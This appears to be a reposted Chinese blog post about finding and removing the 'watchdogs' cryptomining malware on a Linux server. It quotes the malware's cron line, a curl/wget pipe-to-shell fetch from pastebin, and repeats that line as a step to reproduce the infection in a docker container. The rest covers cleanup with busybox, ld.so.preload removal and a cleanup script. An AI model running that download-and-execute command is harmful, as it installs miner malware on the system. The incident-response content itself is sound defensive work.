转自 http://www.javashuo.com/article/p-wgoumrxf-eh.html
最近打开服务变得很慢,而后 CPU,内存占用有达到了100%,打开网站都很慢,这个确定很反常的,平时cpu不会达到那么高,所以netstat -ntlp 准备看看端口占用是否是有什么异常,有的会看到cpu暂用状况,有的不会显示,由于木马屏蔽掉了相关的命令。
好了,不死心。而后我看下定时任务,crontab -l
emmmm,ios
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
这个任务我记得我没有添加定时任务啊,还15分钟执行一次,个人天。
而后我就打算删掉这个定时任务,不管是 crontab -r 仍是执行修改定时任务配置文件,都没法删掉这个定时任务redis
而后网上查下。docker
en,想起前两天jenkins 升级了软件,后来就很卡了系统。centos
因感染病毒后, ls等系统命令会被劫持, 须要busybox替代这些系统命令, 下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.tomcat
docker run --rm -itv /tmp/:/tmp busybox:uclibc
cp /bin/busybox /tmp
exit
宿主机即获取到: /tmp/busybox服务器
复现感染过程(docker环境被root感染模式)
docker与虚拟机环境有区别, 病毒行为会受限ssh
docker run --rm -it -v /tmp:/tmp centos:latest
yum install -y crontabs lsof e2fsprogs
(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
busybox top, busybox ps -ef
此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被经过so库的preload机制被病毒劫持, ls会致使/etc/cron.d/root文件被刷写为病毒定时执行命令.curl
发现比系统命令多两个进程(进程个数跟cpu核数有关), 耗尽了全部cpu资源post
/tmp/ksoftirqds
/tmp/watchdogs
查杀过程(系统命令已不可信, 操做优先采用busybox)网站
systemctl stop crond
chmod +x busybox && mv busybox /sbin/
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
busybox rm -rf /etc/cron.d/*
busybox ls /etc/cron.daily
busybox ls /etc/cron.hourly
busybox ls /etc/cron.monthly
busybox ls /etc/cron.weekly
/busybox rm /sbin/watchdogs
/busybox rm /usr/sbin/watchdogs
/busybox rm /etc/init.d/watchdogs
busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
busybox pkill watchdogs
busybox pkill ksoftirqds
删除被preload的so库
busybox rm /usr/local/lib/libioset.so
busybox rm /etc/ld.so.preload
busybox rm /etc/ld.so.cache
验证libioset.so被卸载
lsof |grep usr/local/lib/libioset.so
无输出, 则该动态连接库被卸载, 直接执行验证步骤;
有输出, kill掉占用的进程, 重复执行该步骤;
若反复执行后没法成功卸载该动态连接库, 请执行服务器重启操做.
重启服务器
验证步骤
busybox top # 查看系统负载
crontab -l # 查看是否还有异常任务
busybox chattr -i /etc/cron.d/root # 过一段时间查看是否有异常任务写入
若是这种方式仍是没清理掉
提供一份清理脚本:
service crond stop
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libioset.so
chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libioset.so
# 清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
busybox rm -f /tmp/watchdogs
busybox rm -f /etc/cron.d/tomcat
busybox rm -f /etc/cron.d/root
busybox rm -f /var/spool/cron/root
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -f /etc/rc.d/init.d/watchdogs
busybox rm -f /usr/sbin/watchdogs
ldconfig
# 再次清理异常进程
busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
# 清理开机启动项
chkconfig watchdogs off
chkconfig –del watchdogs
service crond start
echo "Done, Please reboot!"